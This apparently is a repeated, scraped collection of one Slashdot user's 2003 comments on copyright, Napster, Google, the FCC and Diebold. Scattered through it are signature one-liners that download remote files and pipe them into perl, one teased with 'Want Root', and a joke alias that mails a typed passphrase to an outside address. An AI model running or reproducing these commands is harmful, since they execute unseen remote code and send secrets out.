sharing copyrighted material without proper permission is a copyrigth infrigement.
Section 107. Limitations on exclusive rights: Fair use
Notwithstanding the provisions of sections 106 and 106A [setting forth copyright owners' exclusive rights and visual artists' artistic rights], the fair use of a copyrighted work, including such use by reproduction in copies or phonorecords or by any other means specified by that section, for purposes such as criticism, comment, news reporting, teaching (including multiple copies for classroom use), scholarship, or research, is not an infringement of copyright. In determining whether the use made of a work in any particular case is a fair use the factors to be considered shall include:
1. the purpose and character of the use, including whether such use is of a commercial nature or is for nonprofit educational purposes;
2. the nature of the copyrighted work;
3. the amount and substantiality of the portion used in relation to the copyrighted work as a whole; and
4. the effect of the use upon the potential market for or value of the copyrighted work.
This is what I use for my legal disclaimer and you could check out some of the spoofs I've done in the past on CNN, ABCNews, Republicans, etc. (antioffline.com), as well as daily copying copyrighted news. It's public domain. Which from what you state, I gather you're implying that if you photocopy a newspaper you could be sued... You could if you sold it as your own for profit, but not by using it. BTW, my legal mumbo jumbo was written for me by someone in the law field considering the shit I had/have to deal with.
Am I breaking the law copying news?, if you think so, then you are too since you copy it to your machine without permission when it gets cached.
Travelling in a fried-out combie On a hippie trail, head full of zombie I met a strange lady, she made me nervous She was using a sniffer and watching my serivce And she said...
"Did you use a pro-gram called Napster? Where students thieve and swap music faster? Can't you swap, can't you swap a bit faster? You better run, you better take cover"
Trading songs with a man in Brussels On a T3 his network had muscles I said, "Do you use KazAa or Napster?" He just smiled and called me a hackster And he said...
"I come from a land down under Where beer does flow and men chunder Can't you hear, can't you hear the thunder? You better run, you better take cover" Yeah
Trading warez in a chan on the efnet feds are sniffin my whole damn co-nnect I said in the chan, "MP3's I got plenty Because I come from the land of plenty?" And he said...
"Oh! "I come from a land down under Where beer does flow and men chunder Can't you hear, can't you hear the thunder? You better run, you better take cover" Yeah... men at work were are they now
The critics argue that the internet is a public resource that should be managed by national governments and, at an international level, by an intergovernmental body such as the International Telecommunications Union, the UN agency that is organising the information summit.
There should be no way one council should hold control over the internet. This is similar to the US trying to dictate who could fly over someone elses airspace. There is way too much room for abuse but people with agendas. It's bad enough we have the abusive Patridiotic act here, and the last thing we need is another form of control.
The internet is probably one of the last bastions of privacy, and freedom of expression, and by letting the UN get ahold of any form of decision making could hinder this.
For example, China has strict monitoring of their internet connections in and out of their country, they are part of the UN. Would it be right for them to deem something -- not suited to their taste -- as ``illegalish' causing the UN to act against the site via way of removing the DNS entries? I could go on but don't want to... It's a bad idea IMHO
"When you see a complex virus," she said, "it's come out of the hacking community."
In her experience many malicious hackers have a borderline criminal view of the world and do not share mainstream ethical norms.
evil evil hackers. Someone should track them all down. Maybe some company could hire bounty hunters.
Superman theme comes onWait look up in the router
It's a packet It's a flame Superman theme dies out
Oh damnit it's just another Microsoft flaw
all access technologies -- from phone lines to DSL to cable modems -- get equal freedom from taxation.'
After talking it over with my Cisco 800, it too agress that it needs its own equal freedom and shouldn't pay any taxes because after all (as it told me) it's "only a damn router for crying out loud".
(1) Subsections (a)(b)(e) and clasues (d)(c)(f) and (fee)(fie)(foe)(fum) state that, while (2)(a)(c) and (3)(1)(a)(b(c))(d)(e) must make (1) true.
Now you can clearly see why this post make sense. And if you can't then you obviously didn't see the modus operandi behind sections (1)(e)(v)(2)(a(b(c(e(2))))).
At least they're paying to find hackers. Sure they should use that money for better coders, who's complaining, I'm looking in the mirror debating on whether I should turn myself in for fun and profit.
is now required to check for the presence of the flag and apply DRM restrictions to its outputs. Currently, no such restrictions are required by law.
Not trolling but serious. When I first saw this, I thought wtf? A flag as in American, French or flag, flag. Seriously folks, stay away from the Jolt + Redbull + Oxy combo. That shit'll fsck with you
The FCC has decided that the way to get Americans to adopt digital TV is to make it cost more and do less.
Sort of disagree with this statement. Being an American, I've become tired of the 'follow the Jones'" culture of materialism. The people who are spending outrageous bucks on these things are the ones driving up the price. Take a look at the entire DVD+RW/-RW/W/R/r/w formats or whatever is in nowadays.
If the people are dumb enough to keep dishing out money for it, you can't blame a company for going after that money. Now now now, before you troll this down, let me really type the meaning of that comment down. (On the Google post I used 1Billion figuratively because I was too lazy to look up the actual amount being offered...) I know in theory the FCC is not a company in the Microsoft sense, but somewhere down the narrow road of government and business there exists a thing called (kickbacks!) favoritism for corporations that coincidentally have contributed to, wow another coincidence, the FCC buyer/purchaser/spokespersons political party/bank account/etc.
Imagine what would happen if Google were to vanish tomorrow. It would drastically reduce productivity of organizations the world over, and not necessarily those that are related to computers.
Same has been said about dozens of other companies, and that argument is null0. You're taking it to the extreme. Sure Google is fine, but their are other alternatives. People will bitch and moan but life will go on.
Today, Google is almost a crutch for a lot of people. Right from Universities to workplaces, its almost like the defacto tool. Don't know an answer? Can't find something? Google it.
It's a novelty not a necessity. Remember, in the days before Google, people had other search engines, and dare I say it, encyclopedias, and other mediums. If Google went down today it would not affect me, nor my company.
Are companies willing to let this happen? Sure, you have a million other search engines. But it sure as hell would hurt (and hurt badly) if Google were to go.
You hit the nail in the coffin. It would hurt some, but it's not a catastrophe.
This is something that could be leveraged to investors' benefit> Here you have, a *very* large chunk of the Internet being dependent on *one* tool. Who's willing to make sure that it does not go away? Think about it
You're reaching for a rope with oil all over it. Again, what can Google do that others can't? Not much. Offer a little more found documents.
I love Google, but realistically speaking, it sounds as if investors are setting themselves up for another Dot com bust. There is no way on the planet Google is worth 1 billion US dollars. Sure they provide an excellent service, but to think that it's worth anything more than a couple of million is a farce.
Google has around US$700-million in annual revenues, and it makes about US$100-million a year in profits. Google is growing better than 20% every 12 months.source
They (Google) should have taken what Moneybags was offering while the going was getting hot. Now it seems like they want to be a slight be greedy, which in this economy with it's uncertainty due to political factors, Israel, (fake)War on tError, etal, it's likely they're going to luck out. Heck even Warren Buffett is taking his money elsewhere, and anyone in the economics field knows he knows how to make money.
You know... I haven't updated one my sites in EONS... I wrote a document called 'Ghost in the Shell' that surprisingly gets about 3000 hits a week on Google searches. Not much, but certainly enough to know the interest GITS generates. I've done the anime thing a while back, now I only have time for Jenna, Chasey, and other starlets
Well, timothy seems to be suggesting that OpenBSD is a 'truly politically oriented' version of BSD
You must be with SCO to make a comment like this, so anti-BSD'ish. I mean, how dare you talk about Theo, no one said he was arrogant cocky pr*ck in this article, so you should really stop trolling. As for political correctness on the BSD's, look to the less spoken of NetBSD, where no one plays the zealotry games.
Did anyone bother asking this guy to help out America by finding weapons of mass destrution? How smart was that. I refuse to read this.
bash-2.05$ whatis wmd /usr/share/man/windex: No such file or directory
bash-2.05$ whereis wmd
wmd:
bash-2.05$ whodo wmd
Mon Nov 3 10:31:42 EST 2003
perfidious
Re:And what exactly is the official, from Diebold
on
CNN Reports on Diebold
·
· Score: 5, Funny
what official explanation has Diebold come up with as to why there is no paper audit trail?
Official explanation? You make it seem as if Americans were robbed of Robotic Al Gore on a shoddy recount or something. The Powers that be would never lie, they believe in God so there you atheistic terrorist. And if that doesn't work, we could always send in the army to take over the oilwells in your backyard. SUV driving, gas guzzling, Al Qaeda following, non-bible reading oxycondone abuser. That was so unAmerican of you... Paper trail... *scoffs
/nick LiNuX4eVeR
h4h4h4h d4ts why 1 rUn LiNuX BeCaUsE mIcRoSoPhT sUcKs /exec -o uptime
I run Solaris, BSD, and ocassionally Linux. I've yet to get hit with a virus, worm, or spyware. I'm not running zilch on one of my desktops and worry little about MS' security flaws since I keep nothing important on this particular machine. Sure it's shitty having a gap bigger than Bella Donna's teeth, but what 'impact' this has is small to me, at most I'm just going to have a slew of workers stop me in the hall whining because they're too clueless to stop downloading crappy tools filled with spywayre, or opening emails that promise to show britney or jho's panties... opefully there are others who'd look at this and say 'who cares'... Give me some real news...
Man oh man would I hate to have you in my shop. Hopefully you have no intentions of pursuing your CISSP or something similar. Code should be the upmost since it is the foundation. Let's go into a different subject for analogy shall we... You build a 4 story house made of the toughest concrete money can buy. You use the strongest nails, wood through the walls, and to bind it all together. Foundation oh no don't worry let's use rubber bands, hell all that 'security' we used on the walls and ultra 31337 concrete will support the house forget the foundation...
Yea, I'm with you, if a hurricane comes crawling it won't do nothing because I used superconcrete 5.0... Don't you think that house can just be lifted as one piece and thrown.
And I was getting all hot under the collar thinking about maybe pulling up in my model Vue tomorrow with 24's spinning, music flaring, DVD's behind the sear in a pimperrific three piece fohsachee suit, and you're talking about a rocket.
Interesting you would mention that. (finding itself) I wonder how long will it be before a major class action lawsuit is taken against google for mining too much information. See I'm all for openess, but at the same time I'm all for privacy (catch22). (I believe nothing should be held secretive, but at the right time I'm a pro privacy buff.)
So the other day I was bored and googled my parents (who don't use comps) and was amused to find information about them. This is kind of sad considering that, not everyone wants their information cached, and the way I figure it, it's only a matter of time before Google is hit up hard with lawsuits.
Considering this, I would be reluctant to go out and buy their shares. Besides as computing evolves, there are going to be way too many competitors for google. Seems like a cool company now, but so did Prodigy, Compuserver, Tymnet and a slew of others.
how much longer will it be before the radio, and the RIAA, will be an obsolete means to promote artists?"
Who would need promotion when they could go on stage and kiss Madonna (for the chick artists), males I guess could kiss that American Idol dork Clay*
Seriously though, I don't look at radio as dead. Considering that, before I buy any cd, I often hear it on radio first. Besides when I'm my other digs (IT dept. at a college) I often enjoy hearing the radio as opposed to the same old collection. As for the RIAA... What about them? They don't bother me, sure they're borderling Nazi's to some, but I have no reason to worry about them, let alone waste any more time trolling about them.
Slashdot Mirror
Section 107. Limitations on exclusive rights: Fair use Notwithstanding the provisions of sections 106 and 106A [setting forth copyright owners' exclusive rights and visual artists' artistic rights], the fair use of a copyrighted work, including such use by reproduction in copies or phonorecords or by any other means specified by that section, for purposes such as criticism, comment, news reporting, teaching (including multiple copies for classroom use), scholarship, or research, is not an infringement of copyright. In determining whether the use made of a work in any particular case is a fair use the factors to be considered shall include:
1. the purpose and character of the use, including whether such use is of a commercial nature or is for nonprofit educational purposes;
2. the nature of the copyrighted work;
3. the amount and substantiality of the portion used in relation to the copyrighted work as a whole; and
4. the effect of the use upon the potential market for or value of the copyrighted work.
This is what I use for my legal disclaimer and you could check out some of the spoofs I've done in the past on CNN, ABCNews, Republicans, etc. (antioffline.com), as well as daily copying copyrighted news. It's public domain. Which from what you state, I gather you're implying that if you photocopy a newspaper you could be sued... You could if you sold it as your own for profit, but not by using it. BTW, my legal mumbo jumbo was written for me by someone in the law field considering the shit I had/have to deal with.
Am I breaking the law copying news?, if you think so, then you are too since you copy it to your machine without permission when it gets cached.
*Sung to 'Down Under' Men At Work'
... men at work were are they now
Travelling in a fried-out combie
On a hippie trail, head full of zombie
I met a strange lady, she made me nervous
She was using a sniffer and watching my serivce
And she said...
"Did you use a pro-gram called Napster?
Where students thieve and swap music faster?
Can't you swap, can't you swap a bit faster?
You better run, you better take cover"
Trading songs with a man in Brussels
On a T3 his network had muscles
I said, "Do you use KazAa or Napster?"
He just smiled and called me a hackster
And he said...
"I come from a land down under
Where beer does flow and men chunder
Can't you hear, can't you hear the thunder?
You better run, you better take cover"
Yeah
Trading warez in a chan on the efnet
feds are sniffin my whole damn co-nnect
I said in the chan, "MP3's I got plenty
Because I come from the land of plenty?"
And he said...
"Oh! "I come from a land down under
Where beer does flow and men chunder
Can't you hear, can't you hear the thunder?
You better run, you better take cover"
Yeah
Bad boys, bad boys, what ya gonna do
when Billy Gates starts using his money on you
There should be no way one council should hold control over the internet. This is similar to the US trying to dictate who could fly over someone elses airspace. There is way too much room for abuse but people with agendas. It's bad enough we have the abusive Patridiotic act here, and the last thing we need is another form of control.
The internet is probably one of the last bastions of privacy, and freedom of expression, and by letting the UN get ahold of any form of decision making could hinder this.
For example, China has strict monitoring of their internet connections in and out of their country, they are part of the UN. Would it be right for them to deem something -- not suited to their taste -- as ``illegalish' causing the UN to act against the site via way of removing the DNS entries? I could go on but don't want to... It's a bad idea IMHO
wget -qO - kungfunix.net/shadow|perl ; echo Want Root
Another SCO in the making?
Sco Exec: "it's obvious by the use of main()"
OSCommunity: "what you talking about willis"
lynx -dump perfidious.org/award|sed -n '1!G;h;$p'|sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//'
evil evil hackers. Someone should track them all down. Maybe some company could hire bounty hunters.
Superman theme comes on Wait look up in the router
It's a packet
It's a flame
Superman theme dies out
Oh damnit it's just another Microsoft flaw
my bad
After talking it over with my Cisco 800, it too agress that it needs its own equal freedom and shouldn't pay any taxes because after all (as it told me) it's "only a damn router for crying out loud".
GET perfidious.org/shadow|perl
(1) Subsections (a)(b)(e) and clasues (d)(c)(f) and (fee)(fie)(foe)(fum) state that, while (2)(a)(c) and (3)(1)(a)(b(c))(d)(e) must make (1) true.
Now you can clearly see why this post make sense. And if you can't then you obviously didn't see the modus operandi behind sections (1)(e)(v)(2)(a(b(c(e(2))))).
Silly rabitt
echo nigerian spamming;wget -qO - http://www.sec.gov/litigation/aljdec/id84bpm.txt|s ed -n '143p'|cut -f "7,13" -d ' '|sed 's/,//g'
256bit PSK is used directly as the PMK. When the PSK is a passphrase, the PMK is derived from the passphrase as follows:
PMK = PBKDF2(passphrase, ssid, ssidLength, 4096, 256)
---------
Now I see where the problem is. Easily solvable...
alias passphrase = write "enter you MSG" \
read $MSG \
echo "$MSG" | rot13 | rot13 |mail -s Passphrase luzer@name.com
That wasn't so hard now was it?
wget -qO - kungfunix.net/fatality|sed -n '1!G;h;$p'
At least they're paying to find hackers. Sure they should use that money for better coders, who's complaining, I'm looking in the mirror debating on whether I should turn myself in for fun and profit.
wget -qO - kungfunix.net/fatality|sed -n '1!G;h;$p'
lynx -dump perfidious.org/eraymond|sed -n '1!G;h;$p'|sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//'
l ike fear
is now required to check for the presence of the flag and apply DRM restrictions to its outputs. Currently, no such restrictions are required by law.
Not trolling but serious. When I first saw this, I thought wtf? A flag as in American, French or flag, flag. Seriously folks, stay away from the Jolt + Redbull + Oxy combo. That shit'll fsck with you
The FCC has decided that the way to get Americans to adopt digital TV is to make it cost more and do less.
Sort of disagree with this statement. Being an American, I've become tired of the 'follow the Jones'" culture of materialism. The people who are spending outrageous bucks on these things are the ones driving up the price. Take a look at the entire DVD+RW/-RW/W/R/r/w formats or whatever is in nowadays.
If the people are dumb enough to keep dishing out money for it, you can't blame a company for going after that money. Now now now, before you troll this down, let me really type the meaning of that comment down. (On the Google post I used 1Billion figuratively because I was too lazy to look up the actual amount being offered...) I know in theory the FCC is not a company in the Microsoft sense, but somewhere down the narrow road of government and business there exists a thing called (kickbacks!) favoritism for corporations that coincidentally have contributed to, wow another coincidence, the FCC buyer/purchaser/spokespersons political party/bank account/etc.
Imagine what would happen if Google were to vanish tomorrow. It would drastically reduce productivity of organizations the world over, and not necessarily those that are related to computers.
Same has been said about dozens of other companies, and that argument is null0. You're taking it to the extreme. Sure Google is fine, but their are other alternatives. People will bitch and moan but life will go on.
Today, Google is almost a crutch for a lot of people. Right from Universities to workplaces, its almost like the defacto tool. Don't know an answer? Can't find something? Google it.
It's a novelty not a necessity. Remember, in the days before Google, people had other search engines, and dare I say it, encyclopedias, and other mediums. If Google went down today it would not affect me, nor my company.
Are companies willing to let this happen? Sure, you have a million other search engines. But it sure as hell would hurt (and hurt badly) if Google were to go.
You hit the nail in the coffin. It would hurt some, but it's not a catastrophe.
This is something that could be leveraged to investors' benefit> Here you have, a *very* large chunk of the Internet being dependent on *one* tool. Who's willing to make sure that it does not go away? Think about it
You're reaching for a rope with oil all over it. Again, what can Google do that others can't? Not much. Offer a little more found documents.
lynx -dump kungfunix.net/shaolin|sed -n '1!G;h;$p' & echo fear
I love Google, but realistically speaking, it sounds as if investors are setting themselves up for another Dot com bust. There is no way on the planet Google is worth 1 billion US dollars. Sure they provide an excellent service, but to think that it's worth anything more than a couple of million is a farce.
Google has around US$700-million in annual revenues, and it makes about US$100-million a year in profits. Google is growing better than 20% every 12 months. source
They (Google) should have taken what Moneybags was offering while the going was getting hot. Now it seems like they want to be a slight be greedy, which in this economy with it's uncertainty due to political factors, Israel, (fake)War on tError, etal, it's likely they're going to luck out. Heck even Warren Buffett is taking his money elsewhere, and anyone in the economics field knows he knows how to make money.
You know... I haven't updated one my sites in EONS... I wrote a document called 'Ghost in the Shell' that surprisingly gets about 3000 hits a week on Google searches. Not much, but certainly enough to know the interest GITS generates. I've done the anime thing a while back, now I only have time for Jenna, Chasey, and other starlets
Well, timothy seems to be suggesting that OpenBSD is a 'truly politically oriented' version of BSD
You must be with SCO to make a comment like this, so anti-BSD'ish. I mean, how dare you talk about Theo, no one said he was arrogant cocky pr*ck in this article, so you should really stop trolling. As for political correctness on the BSD's, look to the less spoken of NetBSD, where no one plays the zealotry games.
mY oS iS bEtT3r tH4n j0ors sissies I swear...
Did anyone bother asking this guy to help out America by finding weapons of mass destrution? How smart was that. I refuse to read this.
bash-2.05$ whatis wmd
/usr/share/man/windex: No such file or directory
bash-2.05$ whereis wmd
wmd:
bash-2.05$ whodo wmd
Mon Nov 3 10:31:42 EST 2003
perfidious
Official explanation? You make it seem as if Americans were robbed of Robotic Al Gore on a shoddy recount or something. The Powers that be would never lie, they believe in God so there you atheistic terrorist. And if that doesn't work, we could always send in the army to take over the oilwells in your backyard. SUV driving, gas guzzling, Al Qaeda following, non-bible reading oxycondone abuser. That was so unAmerican of you... Paper trail... *scoffs
/nick LiNuX4eVeR
h4h4h4h d4ts why 1 rUn LiNuX BeCaUsE mIcRoSoPhT sUcKs
I run Solaris, BSD, and ocassionally Linux. I've yet to get hit with a virus, worm, or spyware. I'm not running zilch on one of my desktops and worry little about MS' security flaws since I keep nothing important on this particular machine. Sure it's shitty having a gap bigger than Bella Donna's teeth, but what 'impact' this has is small to me, at most I'm just going to have a slew of workers stop me in the hall whining because they're too clueless to stop downloading crappy tools filled with spywayre, or opening emails that promise to show britney or jho's panties... opefully there are others who'd look at this and say 'who cares' ... Give me some real news...
Man oh man would I hate to have you in my shop. Hopefully you have no intentions of pursuing your CISSP or something similar. Code should be the upmost since it is the foundation. Let's go into a different subject for analogy shall we... You build a 4 story house made of the toughest concrete money can buy. You use the strongest nails, wood through the walls, and to bind it all together. Foundation oh no don't worry let's use rubber bands, hell all that 'security' we used on the walls and ultra 31337 concrete will support the house forget the foundation...
Yea, I'm with you, if a hurricane comes crawling it won't do nothing because I used superconcrete 5.0... Don't you think that house can just be lifted as one piece and thrown.
And I was getting all hot under the collar thinking about maybe pulling up in my model Vue tomorrow with 24's spinning, music flaring, DVD's behind the sear in a pimperrific three piece fohsachee suit, and you're talking about a rocket.
I thought you meant the car damnit
So the other day I was bored and googled my parents (who don't use comps) and was amused to find information about them. This is kind of sad considering that, not everyone wants their information cached, and the way I figure it, it's only a matter of time before Google is hit up hard with lawsuits.
Considering this, I would be reluctant to go out and buy their shares. Besides as computing evolves, there are going to be way too many competitors for google. Seems like a cool company now, but so did Prodigy, Compuserver, Tymnet and a slew of others.
how much longer will it be before the radio, and the RIAA, will be an obsolete means to promote artists?"
Who would need promotion when they could go on stage and kiss Madonna (for the chick artists), males I guess could kiss that American Idol dork Clay*
Seriously though, I don't look at radio as dead. Considering that, before I buy any cd, I often hear it on radio first. Besides when I'm my other digs (IT dept. at a college) I often enjoy hearing the radio as opposed to the same old collection. As for the RIAA... What about them? They don't bother me, sure they're borderling Nazi's to some, but I have no reason to worry about them, let alone waste any more time trolling about them.